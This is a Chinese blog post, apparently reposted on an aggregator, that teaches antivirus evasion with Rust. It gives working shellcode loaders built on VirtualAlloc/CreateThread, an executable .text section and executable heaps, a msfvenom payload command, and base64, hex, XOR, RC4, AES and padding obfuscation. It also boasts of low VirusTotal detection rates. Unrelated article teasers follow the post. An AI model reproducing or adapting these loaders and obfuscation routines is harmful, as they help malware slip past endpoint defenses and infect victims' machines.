当前位置: 首页 > news >正文

Rust免杀 Shellcode加载与混淆2

前言

这是半年前我学习Rust和免杀时的一些记录,最近打开知识库看到了这篇半年前的笔记,并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子,于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust,所以文中所涉及的知识和代码都有可能出现错误,所以再次说明这篇文章仅供参考并希望大家指正。

Shellcode加载方式

本文的主要目的是分享Rust对shellcode的加密混淆方式,所以对于shellcode加载只介绍两种基本的方式,可能在后续的文章中会对加载方式进行更多分享。

调用WinAPI

跟其他语言的shellcode加载器一样,要实现更多的shellcode加载方式,需要调用WinAPI。
执行shellcode的一般流程:

  1. 创建或获取一段可读写执行的内存空间
  2. 将shellcode移入这块内存空间
  3. 利用各种方式将程序执行的流程指向这块内存空间
    Rust调用WinAPI需要先引入依赖,Cargo是Rust的一个包管理工具,要引入winapi依赖需要在Cargo.toml添加:

winapi = {version=“0.3.9”,features=[“winuser”,“processthreadsapi”,“memoryapi”,“errhandlingapi”,“synchapi”]}
这里以加载msf生成的弹计算器的shellcode为例,先使用msfvenom生成一段raw格式的shellcode,保存到calc.bin文件中,并复制到Rust的项目目录下。

msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
在Rust中,可以使用include_bytes!宏将静态文件在编译时包含进程序中。
下面通过调用VirtualAlloc申请一段内存,并设置为PAGE_EXECUTE_READWRITE权限,具体参数建议查阅微软WinAPI文档。然后通过std::ptr::copy将shellcode移动到内存中,接着通过CreateThread创建线程,WaitForSingleObject等待线程结束。
参考:VirtualAlloc function, CreateThread function, WaitForSingleObject function

use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40);if GetLastError() == 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let mut threadid = 0;let threadhandle = CreateThread(std::ptr::null_mut(),0,Some(transmute(ptr)),std::ptr::null_mut(),0,&mut threadid,);WaitForSingleObject(threadhandle, 0xFFFFFFFF);} else {println!("执行失败:{}", GetLastError());}
}

}

函数指针

link_section是Rust的一个attribute,它用来将特定的函数或者变量放到程序的指定的区块中,.text区块通常用来存储程序的执行代码,它会被加载到内存中并由处理器执行。
然后通过std::mem::transmute将 *const u8 类型的指针转换为函数类型 fn(),最后执行shellcode。

fn main() {
const BUFFER_BYTES:&[u8] = include_bytes!(“…\calc.bin”);
const BUFFER_SIZE:usize = BUFFER_BYTES.len();

#[link_section = ".text"]
static BUFFER:[u8;BUFFER_SIZE] = *include_bytes!("..\\calc.bin");
unsafe{let exec = std::mem::transmute::<*const u8,fn()>(&BUFFER as *const u8);exec();
}

}

通过 heapapi 申请内存

由于VirtualAlloc是各大杀软的重点监控对象,所以通常需要使用其他的API来替代,下面介绍的是另一个常见的内存申请方式,即通过HeapCreate/HeapAlloc的组合来创建内存空间。
参考:HeapCreate function, HeapAlloc function

该方式同样需要先引入依赖,在Cargo.toml文件中添加如下依赖:

[dependencies]
winapi = {version=“0.3.9”,features=[“winuser”,“heapapi”,“errhandlingapi”]}
该方法通过HeapCreate创建HEAP_CREATE_ENABLE_EXECUTE权限的内存堆,然后通过HeapAlloc来从堆中分配内存空间,最后通过函数指针的方式执行shellcode。

use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;

fn main() {
let buffer = include_bytes!(“…\calc.bin”);

unsafe {let heap = HeapCreate(0x40000, 0, 0);let ptr = HeapAlloc(heap, 8, buffer.len());if GetLastError() == 0 {std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8, buffer.len());let exec = transmute::<*mut c_void, fn()>(ptr);exec();}
}

}

Shellcode混淆方式

上面介绍了在Rust中为shellcode申请内存空间和执行shellcode的几种常见的方式,接下来会介绍几种常见的编码和加密混淆方式在Rust中的实现。在实际的shellcode免杀的时候经常需要结合几种混淆方式,或者是自己设计加密混淆方式。

Base64编码

在Rust中实现base64编码同样需要引入依赖,在Cargo.toml文件中添加如下依赖:

[dependencies]
base64 = “0.20.0”
通过下面的代码即可将传入的切片类型的shellcode进行base64编码并返回一段字符串。

fn b64_enc(shellcode: &[u8]) -> String {
base64::encode(shellcode)
}
通过以下代码即可将得到的字符串解码,并返回Vec数组类型的shellcode。

fn b64_dec(shellcode:String) -> Vec {
base64::decode(shellcode).expect(“Error”)
}

Hex编码

在Rust中实现Hex编码同样需要引入依赖,在Cargo.toml文件中添加如下依赖:

[dependencies]
hex = “0.4.3”
通过下面的代码即可将传入的切片类型的shellcode进行Hex编码并返回一段字符串。

fn hex_enc(shellcode: &[u8]) -> String {
hex::encode(shellcode)
}
通过以下代码即可将得到的字符串解码,并返回Vec数组类型的shellcode。

fn hex_dec(shellcode:String) -> Vec {
hex::decode(shellcode).expect(“Error”)
}

异或加密

通过迭代器将shellcode与key逐个字符进行异或,然后进行base64编码返回一段字符串。

要进行解密,需要先进行base64解码,然后将异或加密后的shellcode再次与key进行逐个字符进行异或,即可还原shellcode。

fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
base64::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec {
let encrypted = base64::decode(encrypted).expect(“msg”);
let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {
decrypted.push(b ^ key[i % key.len()]);
}
decrypted
}

RC4加密

Rust要实现RC4加密与加密需要引入依赖,在Cargo.toml文件中添加下面的依赖。

[dependencies]
rust-crypto=“0.2.36”
base64=“0.13.0”
rustc-serialize = “0.3”
下面是实现RC4加解密的代码,在加密的函数中最终返回的是Base64编码后的字符串,而解密函数最终返回的是Vec数组,这是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。

use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;

fn main() {
let buffer = include_bytes!(“…\calc.bin”).as_slice();
let key = “pRNtb343heAlnPFw5QiPHKxz3Z1dzLsqhiUyBNtTiI21DjUsZ0”;

let b64_string = enc(buffer, key);
let shellcode = dec(b64_string.as_str(), key);println!("== RC4 ==");
println!("Key: {}", key);
println!("\nEncrypted (Base-64): {}", b64_string);
println!("\nDecrypted: {:?}", shellcode);

}

fn enc(shellcode: &[u8], key: &str) -> String {
let mut rc4 = Rc4::new(key.as_bytes());

let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
rc4.process(shellcode, &mut result);base64::encode(&mut result)

}

fn dec(b64: &str, key: &str) -> Vec {
let mut result = match base64::decode(b64) {
Ok(result) => result,
_ => “”.as_bytes().to_vec(),
};

let mut rc4 = Rc4::new(key.as_bytes());let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
rc4.process(&mut result[..], &mut shellcode);shellcode

}

AES-CFB加密

Rust要实现AES加密与加密也需要引入依赖,在Cargo.toml文件中添加下面的依赖。

[dependencies]
aes=“0.7.5”
hex=“0.4.3”
block-modes=“0.8.1”
hex-literal=“0.3.3”
下面是实现AES-CFB加解密的代码,在加密的函数中最终返回的是Hex编码后的字符串,而解密函数最终返回的是Vec数组,同样是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。

use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;

type Aes128ECfb = Cfb<Aes128, Pkcs7>;

fn main() {
let shellcode = include_bytes!(“…\calc.bin”).as_slice();
let key = “gWW8QklFyVIQfpDN”;
let iv = hex!(“57504c385a78736f336b4946426a626f”);

println!("==128-bit AES CFB Mode==");
println!("Key: {}", key);
println!("iv: {}", encode(iv));let encrypted = enc(shellcode, key, iv);
println!("\nEncrypted: {}", encrypted);let decrypted = dec(encrypted.as_str(), key, iv);
println!("\nDecrypted: {:?}", decrypted);

}

fn enc(shellcode: &[u8], key: &str, iv: [u8; 16]) -> String {
let key = key.as_bytes().to_vec();

let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let pos = shellcode.len();
let mut buffer = [0u8; 2560];
buffer[..pos].copy_from_slice(shellcode);let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();hex::encode(ciphertext)

}

fn dec(encrypted: &str, key: &str, iv: [u8; 16]) -> Vec {
let binding = hex::decode(encrypted).expect(“Decoding failed”);
let ciphertext = binding.as_slice();

let key = key.as_bytes().to_vec();let cipher = Aes128ECfb::new_from_slices(key.as_slice(), iv.as_slice()).unwrap();let mut buf = ciphertext.to_vec();
let shellcode = cipher.decrypt(&mut buf).unwrap();shellcode.to_vec()

}

添加随机字符

同样先在Cargo.toml文件中添加下面的依赖。

[dependencies]
hex = “0.4.3”
下面是结合异或加密和添加随机字符的代码,xor_encrypt将对shellcode与key进行异或,使用hex::encode将异或结果转为十六进制字符串返回,方便后面添加随机字符。add_random迭代xor_encrypt返回的字符串的每个字符,并在每次迭代时添加一个随机字符。最后,使用 hex::encode 将结果转为十六进制字符串返回。xor_decrypt和rm_random是对应的二次异或和删除随机字符的函数。

fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
let mut encrypted = Vec::new();
for (i, &b) in shellcode.iter().enumerate() {
encrypted.push(b ^ key[i % key.len()]);
}
hex::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec {
let encrypted = hex::decode(encrypted).expect(“Error”);

let mut decrypted = Vec::new();
for (i, &b) in encrypted.iter().enumerate() {decrypted.push(b ^ key[i % key.len()]);
}
decrypted

}

fn add_random(xor_string: &str, key: &str) -> String {
let mut result = String::new();

for (i, c) in xor_string.chars().enumerate() {result.push(c);result.push(key.chars().nth(i % key.len()).unwrap());
}
hex::encode(&result)

}

fn rm_random(random_string: &str) -> Vec {
let mut result = String::new();

let random_string = hex::decode(random_string).expect("Invalid String");
let random_string = match std::str::from_utf8(random_string.as_slice()) {Ok(s) => s,Err(_) => "Invalid UTF-8 sequence",
};for (i, c) in random_string.chars().enumerate() {if i % 2 == 0 {result.push(c);}
}
result.as_bytes().to_vec()

}

总结

Rust的编译体积是非常小的,虽然比不上C/C++,但是和Python和Go相比优势还是非常大的,并且Rust的热门程度也远小于Python和Go,所以杀软对Rust的检出程度也是非常低的,这都是Rust免杀的天然优势。结合本文章几种基础的加载方式和混淆方式还是可以轻松过一部分杀软的。以下链接是我半年前上传到virustotal的一个样本,半年过去了,目前的检出率为14/71:VirusTotal File(刚上传时检出率为0/71)。
这篇文章的代码部分我也已经提交到Github供大家参考:
AV-Bypass-Learning/rust-bypass-av

参考

Rust 参考手册 中文版
Programming reference for the Win32 API
include_bytes in std - Rust
Application Binary Interface - The Rust Reference

相关文章:

Rust免杀 Shellcode加载与混淆2

前言 这是半年前我学习Rust和免杀时的一些记录&#xff0c;最近打开知识库看到了这篇半年前的笔记&#xff0c;并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子&#xff0c;于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Ru…...

牛客java训练题 day1

9.24 day1 Q 1. this 指针是用来干什么的&#xff1f; 2.基类和派生类分别是指什么&#xff1f; 3.为什么方法中不能写静态变量 4. 解释一下ASCII码和ANSI码和两者的区别 5.简述j ava.io java.sql java.awt java.rmi 分别是什么类型的包 6. 看下面一段代码&#xff1a;…...

接口测试练习步骤

在接触接口测试过程中补了很多课&#xff0c; 终于有点领悟接口测试的根本&#xff1b; 偶是个实用派&#xff5e;&#xff0c;那么现实中没有用的东西&#xff0c;基本上我都不会有很大的概念&#xff1b; 下面给的是接口测试的统一大步骤&#xff0c;其实就是让我们对接口…...

Qt/C++音视频开发56-udp推流和拉流/组播和单播推流

一、前言 之前已经实现了rtsp/rtmp推流&#xff0c;rtsp/rtmp/hls/flv/ws-flv/webrtc等拉流&#xff0c;这种一般都需要依赖一个独立的流媒体服务程序&#xff0c;有没有一种更便捷的方式不需要这种依赖&#xff0c;然后又能实现推拉流呢&#xff0c;当然有的那就是udpp推流&a…...

人工智能轨道交通行业周刊-第61期(2023.9.18-9.24)

本期关键词&#xff1a;焊线机器人、智能综合运维管理系统、信号平面图、铁路部门架构、书生浦语大模型 1 整理涉及公众号名单 1.1 行业类 RT轨道交通人民铁道世界轨道交通资讯网铁路信号技术交流北京铁路轨道交通网上榜铁路视点ITS World轨道交通联盟VSTR铁路与城市轨道交通…...

for...in 和 for...of 的区别

for...in 和 for...of 都是 JavaScript 中的循环语句&#xff0c;但它们的作用和使用方式略有不同。 1、for..in 循环 for..in 循环用于遍历对象的可枚举属性&#xff0c;它会将对象的每个属性名称(或键名)作为迭代变量来遍历。 以下是 for...in 的基本语法 for (variable …...

高并发系统 - 接口幂等技术方案,高可用系统架构与技术选型

幂等概念来自于数学,在计算机科学中,幂等表示一次后、或多次请求某一资源,应该有同样的影响效果。 在业务表现上一般是同样的数据效果,下面就常用的业务场景,来聊聊幂等的技术方案。 ----------------- 数据层 ----------------- 索引与事务 根据业务需要,给表添加唯一索…...

简单的手机电脑无线传输方案@固定android生成ftp的IP地址(android@windows)

文章目录 abstractwindows浏览android文件环境准备客户端软件无线网络链接步骤其他方法 手机浏览电脑文件公网局域网everythingpython http.server 高级:固定android设备IP准备检查模块是否生效 windows 访问ftp服务器快捷方式命令行方式双击启动方式普通快捷方式映射新的网络位…...

Unity3D 检测鼠标位置的Sprite像素颜色

思路 获取鼠标所在屏幕坐标(Vector2)通过相机ScreenToWorldPoint(Vector3)转为世界坐标 (注意Vector3的z是距离相机的距离&#xff0c;相机需要正交)通过SpriteRenderer访问边界Bounds通过Bounds.Contain检测世界坐标是否在SpriteBounds内通过比例计算来确定在Sprite内的UV坐标…...

layui input 监听事件

//监听表单单选框复选框选择 form.on(radio, function (data) { console.log(data.value); //得到被选中的值 }); //监听表单下拉菜单选择 form.on(select, function (data) { console.log(data.value); //得到被选中的值 }); //监听表单复选框选择 …...

一致性思维链(SELF-CONSISTENCY IMPROVES CHAIN OF THOUGHT REASONING IN LANGUAGE MODELS)

概要 思维链已经在很多任务上取得了非常显著的效果&#xff0c;这篇论文中提出了一种 self-consistency 的算法&#xff0c;来代替 贪婪解码 算法。本方法通过 采样多个思维链集合&#xff0c;然后LLM模型生成后&#xff0c;选择一个最一致的答案作为最后的结果。一致性思维链…...

腾讯云16核服务器配置大全_16核CPU型号性能测评

腾讯云16核CPU服务器有哪些配置可以选择&#xff1f;可以选择标准型S6、标准型SA3、计算型C6或标准型S5等&#xff0c;目前标准型S5云服务器有优惠活动&#xff0c;性价比高&#xff0c;计算型C6云服务器16核性能更高&#xff0c;轻量16核32G28M带宽优惠价3468元15个月&#xf…...

HTML中Input elements should have autocomplete attributes的解决方案

kwfwservice.php:1 [DOM] Input elements should have autocomplete attributes (suggested: “current-password”): (More info: https://goo.gl/9p2vKq) <input name"password" id"password" lay-verify"required" placeholder"密码&…...

2808. 使循环数组所有元素相等的最少秒数;1015. 可被 K 整除的最小整数;1001. 网格照明

2808. 使循环数组所有元素相等的最少秒数 核心思想&#xff1a;枚举每个元素作为相等元素最多需要多少秒&#xff0c;然后维护它的最小值。最多需要多少秒是怎么计算的&#xff0c;我们可以把相等值的下标拿出来&#xff0c;然后你会发现两个相邻下标&#xff08;相邻下标只的…...

Python爬虫在Web应用自动化测试中的应用

在Web应用开发过程中&#xff0c;自动化测试是确保应用质量和稳定性的重要环节。本文将介绍如何使用Python爬虫与自动化测试技术相结合&#xff0c;实现对Web应用进行自动化测试的方法和步骤。通过这种结合&#xff0c;我们可以提高测试效率、减少人力成本&#xff0c;并确保应…...

苹果手机短信删除了怎么恢复?3种有效方法介绍

手机短信是一种即时通信方式&#xff0c;人们可以使用短信来达到快速传递信息的目的。在没有网络或者网络不稳定的时候&#xff0c;短信仍然可以做到发送和接收&#xff0c;这弥补了其他网络通信软件的缺点。 所以说&#xff0c;手机短信仍然是我们生活中不可缺少的一部分。当…...

前端JavaScript中的 == 和 ===区别,以及他们的应用场景,快来看看吧,积累一点知识。

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 一、等于操作符 二、全等操作符 三、区别 小结 一、等于操作符 等于操作符用两个等于号&#xff08; &am…...

文献阅读:LIMA: Less Is More for Alignment

文献阅读&#xff1a;LIMA: Less Is More for Alignment 1. 内容简介2. 实验设计 1. 整体实验设计2. 数据准备3. 模型准备4. metrics设计 3. 实验结果 1. 基础实验2. 消解实验3. 多轮对话 4. 结论 & 思考 文献链接&#xff1a;https://arxiv.org/abs/2305.11206 1. 内容简…...

机器学习第十四课--神经网络

总结起来&#xff0c;对于深度学习的发展跟以下几点是离不开的: 大量的数据(大数据)计算资源(如GPU)训练方法(如预训练) 很多时候&#xff0c;我们也可以认为真正让深度学习爆发起来的是数据和算力&#xff0c;这并不是没道理的。 由于神经网络是深度学习的基础&#xff0c;学…...

React(react18)中组件通信04——redux入门

React&#xff08;react18&#xff09;中组件通信04——redux入门 1. 前言1.1 React中组件通信的其他方式1.2 介绍redux1.2.1 参考官网1.2.2 redux原理图1.2.3 redux基础介绍1.2.3.1 action1.2.3.2 store1.2.3.3 reducer 1.3 安装redux 2. redux入门例子3. redux入门例子——优…...

CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型

CVPR 2025 | MIMO&#xff1a;支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题&#xff1a;MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者&#xff1a;Yanyuan Chen, Dexuan Xu, Yu Hu…...

从WWDC看苹果产品发展的规律

WWDC 是苹果公司一年一度面向全球开发者的盛会&#xff0c;其主题演讲展现了苹果在产品设计、技术路线、用户体验和生态系统构建上的核心理念与演进脉络。我们借助 ChatGPT Deep Research 工具&#xff0c;对过去十年 WWDC 主题演讲内容进行了系统化分析&#xff0c;形成了这份…...

多模态商品数据接口:融合图像、语音与文字的下一代商品详情体验

一、多模态商品数据接口的技术架构 &#xff08;一&#xff09;多模态数据融合引擎 跨模态语义对齐 通过Transformer架构实现图像、语音、文字的语义关联。例如&#xff0c;当用户上传一张“蓝色连衣裙”的图片时&#xff0c;接口可自动提取图像中的颜色&#xff08;RGB值&…...

SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现

摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序&#xff0c;以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务&#xff0c;提供稳定高效的数据处理与业务逻辑支持&#xff1b;利用 uniapp 实现跨平台前…...

【AI学习】三、AI算法中的向量

在人工智能&#xff08;AI&#xff09;算法中&#xff0c;向量&#xff08;Vector&#xff09;是一种将现实世界中的数据&#xff08;如图像、文本、音频等&#xff09;转化为计算机可处理的数值型特征表示的工具。它是连接人类认知&#xff08;如语义、视觉特征&#xff09;与…...

用机器学习破解新能源领域的“弃风”难题

音乐发烧友深有体会&#xff0c;玩音乐的本质就是玩电网。火电声音偏暖&#xff0c;水电偏冷&#xff0c;风电偏空旷。至于太阳能发的电&#xff0c;则略显朦胧和单薄。 不知你是否有感觉&#xff0c;近两年家里的音响声音越来越冷&#xff0c;听起来越来越单薄&#xff1f; —…...

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

若依登录用户名和密码加密

/*** 获取公钥&#xff1a;前端用来密码加密* return*/GetMapping("/getPublicKey")public RSAUtil.RSAKeyPair getPublicKey() {return RSAUtil.rsaKeyPair();}新建RSAUti.Java package com.ruoyi.common.utils;import org.apache.commons.codec.binary.Base64; im…...

ThreadLocal 源码

ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物&#xff0c;因为每个访问一个线程局部变量的线程&#xff08;通过其 get 或 set 方法&#xff09;都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段&#xff0c;这些类希望将…...